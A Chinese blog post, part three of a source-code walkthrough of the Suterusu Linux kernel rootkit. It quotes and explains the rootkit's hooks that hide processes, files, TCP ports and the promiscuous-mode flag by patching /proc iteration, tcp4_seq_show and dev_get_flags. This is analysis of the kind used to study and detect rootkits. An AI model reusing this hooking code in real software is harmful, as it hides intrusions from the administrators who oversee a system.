Suterusu源码阅读和分析(3)

suterusu的文件、进程、端口隐藏代码简解,位于main.c

0x01 文件系统相关

文件和进程隐藏

文件结构体和文件操作结构体推荐看《Linux内核设计与实现》去初步了解,进程隐藏实际上是文件隐藏的复用

1
2
3
4
5
6
// 存放readdir函数指针
static int (*proc_iterate)(struct file *file, void *dirent, filldir_t filldir);

/* Hook /proc for hiding processes */
proc_iterate = get_vfs_iterate("/proc");
hijack_start(proc_iterate, &n_proc_iterate);

拿到/proc/目录的文件结构体中readdir函数指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 宏定义,readdir参数列表
#define ITERATE_PROTO struct file *file, void *dirent, filldir_t filldir
#define FILLDIR_VAR filldir

// hook函数具体实现
int n_proc_iterate ( ITERATE_PROTO )
{
int ret;

// 传入的filldir直接赋值,因为上面参数使用了宏,为了编译通过这里也要使用宏
// 其实这个操作我现在看起来并没有意义
proc_filldir = FILLDIR_VAR;

hijack_pause(proc_iterate);
// 用来替换参数的宏函数,见下
REPLACE_FILLDIR(proc_iterate, n_proc_filldir);
hijack_resume(proc_iterate);

return ret;
}

// 将我们新filldir函数替换上去
#define REPLACE_FILLDIR(ITERATE_FUNC, FILLDIR_FUNC) \
{ \
ret = ITERATE_FUNC(file, dirent, &FILLDIR_FUNC);\
}

  • 进程隐藏的新filldir函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_proc *hp;
char *endp;
long pid;

pid = simple_strtol(name, &endp, 10);

list_for_each_entry ( hp, &hidden_procs, list )
if ( pid == hp->pid )
return 0;

return proc_filldir(__buf, name, namelen, offset, ino, d_type);
}
  • 文件隐藏的新filldir函数
1
2
3
4
5
6
7
8
9
10
static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;

list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;

return root_filldir(__buf, name, namelen, offset, ino, d_type);
}

文件隐藏有个小bug,strcmp不含长度比较,直接使用会出错,能看见下图中字符指针存在脏数据,故字符串比较需要带上长度

文件隐藏bug

0x02 网络系统相关

连接隐藏

要隐藏连接和端口,就需要对netstat的底层调用有所了解

这里使用strace来查看函数调用,strace netstat -antu,结果如下

StraceNetstat

  • /proc/net/tcp文件提供了tcp的连接信息,是由net/ipv4/tcp_ipv4.c中的tcp4_seq_show()实现信息打印的 ref
  • tcp4_seq_show就是seq_operations中的show函数 ref
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// include/linux/seq_file.h
struct seq_file {
char *buf; // 缓冲区
size_t size; // 缓冲区容量
size_t from;
size_t count; // 缓冲区已经使用的量
size_t pad_until;
loff_t index;
loff_t read_pos;
u64 version;
struct mutex lock;
const struct seq_operations *op;
int poll_event;
const struct file *file;
void *private;
};

struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

static struct tcp_seq_afinfo tcp4_seq_afinfo = {
.name = "tcp",
.family = AF_INET,
.seq_fops = &tcp_afinfo_seq_fops,
.seq_ops = {
.start = tcp_seq_start,
.show = tcp4_seq_show,
.next = tcp4_seq_next,
.stop = tcp4_seq_stop,
},
};

ref: Proc中使用seq_file,数据如何传递

另外如果要hook另一种网络连接查看方式ss,其系统调用链和netstat不同,用strace ss -antu查看后发现需要hook的函数是recvmsg,后续会尝试实现在自己的demo中

StraceSs

再来看具体的hook函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define TMPSZ 150

static int n_tcp4_seq_show ( struct seq_file *seq, void *v )
{
int ret = 0;
char port[12];
struct hidden_port *hp;

hijack_pause(tcp4_seq_show);
ret = tcp4_seq_show(seq, v);
hijack_resume(tcp4_seq_show);

list_for_each_entry ( hp, &hidden_tcp4_ports, list )
{
sprintf(port, ":%04X", hp->port);

if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}

return ret;
}

思路是,先调用真的showseq中写入一条记录,然后检查写入的内容中是否有:your_port_number这个字符串,如果有,就把seq->count这个记录缓冲区已经使用的字节数减去一条记录的长度TMPSZ相当于之前写入的无效了;如果没有,就正常放行。

ref: Linux Rootkit实验|0204 Rootkit基本功能之隐藏端口

隐藏混杂模式标记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 代码中引入如下头文件,直接就可以调用这个导出过的接口
#include <net/tcp.h>
#include <net/udp.h>

unsigned int dev_get_flags(const struct net_device *dev )

unsigned int n_dev_get_flags(const struct net_dev *dev)
{
unsigned int ret;

hook_pause(dev_get_flags);
ret = dev_get_flags(dev);
hook_resume(dev_get_flags);

if (hide_promisc)
ret &= ~IFF_PROMISC; // 混杂标志位置空

return ret;
}

通过hook原生api dev_get_flags,将混杂标志位隐藏,混杂模式被rootkit用来进行网络流量嗅探,不过其实这样很容易被发现,只要管理员调整混杂模式或使用tcpdump抓包就会被发现


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!